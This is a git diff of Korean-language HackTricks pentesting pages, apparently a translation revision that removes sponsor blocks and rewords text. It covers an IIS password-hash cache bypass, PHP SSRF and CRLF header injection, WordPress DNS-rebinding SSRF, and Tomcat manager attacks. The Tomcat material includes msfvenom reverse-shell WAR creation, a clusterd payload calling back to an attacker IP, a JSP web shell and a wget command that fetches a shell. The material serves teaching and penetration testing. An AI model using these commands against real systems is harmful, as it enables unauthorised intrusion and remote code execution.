[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, **비밀번호 해시가 캐시에 이미 있는 키에 해당하는** 공격자는 해당 사용자로 로그인할 수 있습니다.
|
||||||
```python
|
```python
|
||||||
# script for sanity check
|
# script for sanity check
|
||||||
> type test.py
|
> type test.py
|
||||||
|
@ -285,18 +271,6 @@ HTTP/1.1 401 Unauthorized
|
||||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -307,7 +281,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
### SSRF PHP 함수
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
**file\_get\_contents(), fopen(), file(), md5\_file()**와 같은 일부 함수는 URL을 입력으로 받아들이며, 사용자가 데이터를 제어할 수 있는 경우 **SSRF 취약점**이 발생할 수 있습니다:
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### SSRF PHP functions
|
|
||||||
|
|
||||||
일부 함수는 **file\_get\_contents(), fopen(), file(), md5\_file()**와 같이 URL을 입력으로 받아들이며, 사용자가 데이터를 제어할 수 있는 경우 **SSRF 취약점**이 발생할 수 있습니다:
|
|
||||||
```php
|
```php
|
||||||
file_get_contents("http://127.0.0.1:8081");
|
file_get_contents("http://127.0.0.1:8081");
|
||||||
fopen("http://127.0.0.1:8081", "r");
|
fopen("http://127.0.0.1:8081", "r");
|
||||||
|
@ -34,9 +26,9 @@ md5_file("http://127.0.0.1:8081");
|
||||||
```
|
```
|
||||||
### Wordpress SSRF via DNS Rebinding
|
### Wordpress SSRF via DNS Rebinding
|
||||||
|
|
||||||
[**이 블로그 포스트에서 설명된 바와 같이**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), Wordpress 함수 **`wp_safe_remote_get`**는 DNS 리바인딩에 취약하여 SSRF 공격에 취약할 수 있습니다. 호출하는 주요 검증은 **wp\_http\_validate\_url**로, 프로토콜이 `http://` 또는 `https://`인지, 포트가 **80**, **443**, **8080** 중 하나인지 확인하지만, **DNS 리바인딩에 취약합니다**.
|
[**이 블로그 게시물에서 설명된 바와 같이**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), Wordpress 함수 **`wp_safe_remote_get`**는 DNS 리바인딩에 취약하여 SSRF 공격에 취약할 수 있습니다. 호출하는 주요 검증은 **wp\_http\_validate\_url**로, 프로토콜이 `http://` 또는 `https://`인지, 포트가 **80**, **443**, **8080** 중 하나인지 확인하지만, **DNS 리바인딩에 취약합니다**.
|
||||||
|
|
||||||
포스트에 따르면 다른 취약한 함수는 다음과 같습니다:
|
게시물에 따르면 다른 취약한 함수는 다음과 같습니다:
|
||||||
|
|
||||||
* `wp_safe_remote_request()`
|
* `wp_safe_remote_request()`
|
||||||
* `wp_safe_remote_post()`
|
* `wp_safe_remote_post()`
|
||||||
|
@ -48,7 +40,7 @@ md5_file("http://127.0.0.1:8081");
|
||||||
|
|
||||||
### CRLF
|
### CRLF
|
||||||
|
|
||||||
게다가, 경우에 따라 이전 함수의 CRLF "취약점"을 통해 임의의 헤더를 전송할 수도 있습니다:
|
게다가, 경우에 따라 이전 함수의 CRLF "취약점"을 통해 임의의 헤더를 전송하는 것이 가능할 수도 있습니다:
|
||||||
```php
|
```php
|
||||||
# The following will create a header called from with value Hi and
|
# The following will create a header called from with value Hi and
|
||||||
# an extra header "Injected: I HAVE IT"
|
# an extra header "Injected: I HAVE IT"
|
||||||
|
@ -83,12 +75,6 @@ $options = array(
|
||||||
$context = stream_context_create($options);
|
$context = stream_context_create($options);
|
||||||
$file = file_get_contents($url, false, $context);
|
$file = file_get_contents($url, false, $context);
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -98,7 +84,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Discovery
|
## Discovery
|
||||||
|
|
||||||
* 일반적으로 **포트 8080**에서 실행됩니다.
|
* 일반적으로 **포트 8080**에서 실행됩니다.
|
||||||
|
@ -89,7 +81,7 @@ Tomcat의 관리 웹에 접근하려면 다음으로 이동하십시오: `pathTo
|
||||||
|
|
||||||
### /examples
|
### /examples
|
||||||
|
|
||||||
Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트를 포함하고 있습니다. 이 스크립트는 포괄적으로 나열되어 있으며, 무단 접근 및 잠재적 악용 여부를 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
Apache Tomcat 4.x에서 7.x 버전은 정보 유출 및 교차 사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트를 포함하고 있습니다. 이러한 스크립트는 포괄적으로 나열되어 있으며, 무단 접근 및 잠재적 악용 여부를 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||||
|
|
||||||
* /examples/jsp/num/numguess.jsp
|
* /examples/jsp/num/numguess.jsp
|
||||||
* /examples/jsp/dates/date.jsp
|
* /examples/jsp/dates/date.jsp
|
||||||
|
@ -124,11 +116,11 @@ Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트
|
||||||
|
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면 **.war 파일을 업로드하고 배포할 수 있습니다(코드 실행)**.
|
마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면 **.war 파일을 업로드하고 배포할 수 있습니다 (코드 실행)**.
|
||||||
|
|
||||||
### Limitations
|
### Limitations
|
||||||
|
|
||||||
**충분한 권한**(역할: **admin**, **manager** 및 **manager-script**)이 있는 경우에만 WAR를 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다(버전마다 다를 수 있음) (자세한 내용은 [POST ](tomcat.md#post)section)을 참조하십시오).
|
**충분한 권한**(역할: **admin**, **manager**, **manager-script**)이 있는 경우에만 WAR 파일을 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다 (버전마다 다를 수 있습니다) (자세한 내용은 [POST ](tomcat.md#post)section).
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -155,7 +147,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
||||||
```
|
```
|
||||||
2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`):
|
2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`):
|
||||||
|
|
||||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 이용한 바인드 및 리버스 셸
|
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)로 바인드 및 리버스 셸
|
||||||
|
|
||||||
일부 시나리오에서는 이 방법이 작동하지 않습니다 (예: 구버전의 sun)
|
일부 시나리오에서는 이 방법이 작동하지 않습니다 (예: 구버전의 sun)
|
||||||
|
|
||||||
|
@ -171,13 +163,13 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||||
```bash
|
```bash
|
||||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||||
```
|
```
|
||||||
### Using [Culsterd](https://github.com/hatRiot/clusterd)
|
### [Culsterd](https://github.com/hatRiot/clusterd) 사용하기
|
||||||
```bash
|
```bash
|
||||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||||
```
|
```
|
||||||
### 수동 방법 - 웹 셸
|
### 수동 방법 - 웹 셸
|
||||||
|
|
||||||
**index.jsp**를 이 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 만듭니다:
|
**index.jsp**를 다음 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 생성합니다:
|
||||||
```java
|
```java
|
||||||
<FORM METHOD=GET ACTION='index.jsp'>
|
<FORM METHOD=GET ACTION='index.jsp'>
|
||||||
<INPUT name='cmd' type=text>
|
<INPUT name='cmd' type=text>
|
||||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -255,7 +241,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Discovery
|
## Discovery
|
||||||
|
|
||||||
* 일반적으로 **포트 8080**에서 실행됩니다.
|
* 일반적으로 **포트 8080**에서 실행됩니다.
|
||||||
|
@ -83,7 +75,7 @@ Along with setting various parameters in Metasploit to target a specific host.
|
||||||
|
|
||||||
### **Double URL Encoding**
|
### **Double URL Encoding**
|
||||||
|
|
||||||
`mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 탐색을 허용하여, 특별히 조작된 URL을 통해 관리 인터페이스에 무단 접근할 수 있게 합니다.
|
`mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 탐색을 허용하여, 특별히 제작된 URL을 통해 관리 인터페이스에 무단 접근할 수 있게 합니다.
|
||||||
|
|
||||||
Tomcat의 관리 웹에 접근하려면 다음으로 이동하십시오: `pathTomcat/%252E%252E/manager/html`
|
Tomcat의 관리 웹에 접근하려면 다음으로 이동하십시오: `pathTomcat/%252E%252E/manager/html`
|
||||||
|
|
||||||
|
@ -124,11 +116,11 @@ Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트
|
||||||
|
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면 **.war 파일을 업로드하고 배포할 수 있습니다 (코드 실행)**.
|
마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면, **.war 파일을 업로드하고 배포할 수 있습니다(코드 실행)**.
|
||||||
|
|
||||||
### Limitations
|
### Limitations
|
||||||
|
|
||||||
**충분한 권한**(역할: **admin**, **manager** 및 **manager-script**)이 있는 경우에만 WAR를 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다 (버전마다 다를 수 있음) (자세한 내용은 [POST ](./#post)section).
|
**충분한 권한**(역할: **admin**, **manager** 및 **manager-script**)이 있는 경우에만 WAR를 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다(버전마다 다를 수 있음) (자세한 내용은 [POST ](./#post)section).
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -171,13 +163,13 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||||
```bash
|
```bash
|
||||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||||
```
|
```
|
||||||
### [Culsterd](https://github.com/hatRiot/clusterd) 사용하기
|
### Using [Culsterd](https://github.com/hatRiot/clusterd)
|
||||||
```bash
|
```bash
|
||||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||||
```
|
```
|
||||||
### 수동 방법 - 웹 셸
|
### 수동 방법 - 웹 셸
|
||||||
|
|
||||||
**index.jsp**를 이 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 생성합니다:
|
**index.jsp**를 다음 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 생성합니다:
|
||||||
```java
|
```java
|
||||||
<FORM METHOD=GET ACTION='index.jsp'>
|
<FORM METHOD=GET ACTION='index.jsp'>
|
||||||
<INPUT name='cmd' type=text>
|
<INPUT name='cmd' type=text>
|
||||||
|
@ -208,11 +200,11 @@ jar -cvf ../webshell.war *
|
||||||
webshell.war is created
|
webshell.war is created
|
||||||
# Upload it
|
# Upload it
|
||||||
```
|
```
|
||||||
이것을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행을 허용합니다): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
당신은 또한 이것을 설치할 수 있습니다 (업로드, 다운로드 및 명령 실행을 허용): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||||
|
|
||||||
### 수동 방법 2
|
### 수동 방법 2
|
||||||
|
|
||||||
[이것](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)와 같은 JSP 웹 셸을 가져와 WAR 파일을 만드세요:
|
[JSP 웹 셸](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)과 같은 것을 가져와 WAR 파일을 생성하십시오:
|
||||||
```bash
|
```bash
|
||||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||||
zip -r backup.war cmd.jsp
|
zip -r backup.war cmd.jsp
|
||||||
|
@ -234,16 +226,11 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
|
|
||||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||||
|
|
||||||
## 참고문헌
|
## 참고자료
|
||||||
|
|
||||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -254,8 +241,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### 루트로 실행하지 않기
|
### 루트로 실행하지 않기
|
||||||
|
|
||||||
Tomcat을 루트로 실행하지 않기 위해 매우 일반적인 구성은 포트 80/443에 Apache 서버를 설정하고, 요청된 경로가 정규 표현식과 일치하는 경우 요청을 다른 포트에서 실행 중인 Tomcat으로 전송하는 것입니다.
|
Tomcat을 루트로 실행하지 않기 위해 매우 일반적인 구성은 포트 80/443에서 Apache 서버를 설정하고, 요청된 경로가 정규 표현식과 일치하는 경우 요청을 다른 포트에서 실행 중인 Tomcat으로 전송하는 것입니다.
|
||||||
|
|
||||||
### 기본 구조
|
### 기본 구조
|
||||||
```
|
```
|
||||||
|
@ -55,11 +47,11 @@ Tomcat을 루트로 실행하지 않기 위해 매우 일반적인 구성은 포
|
||||||
* `bin` 폴더는 Tomcat 서버를 시작하고 실행하는 데 필요한 스크립트와 바이너리를 저장합니다.
|
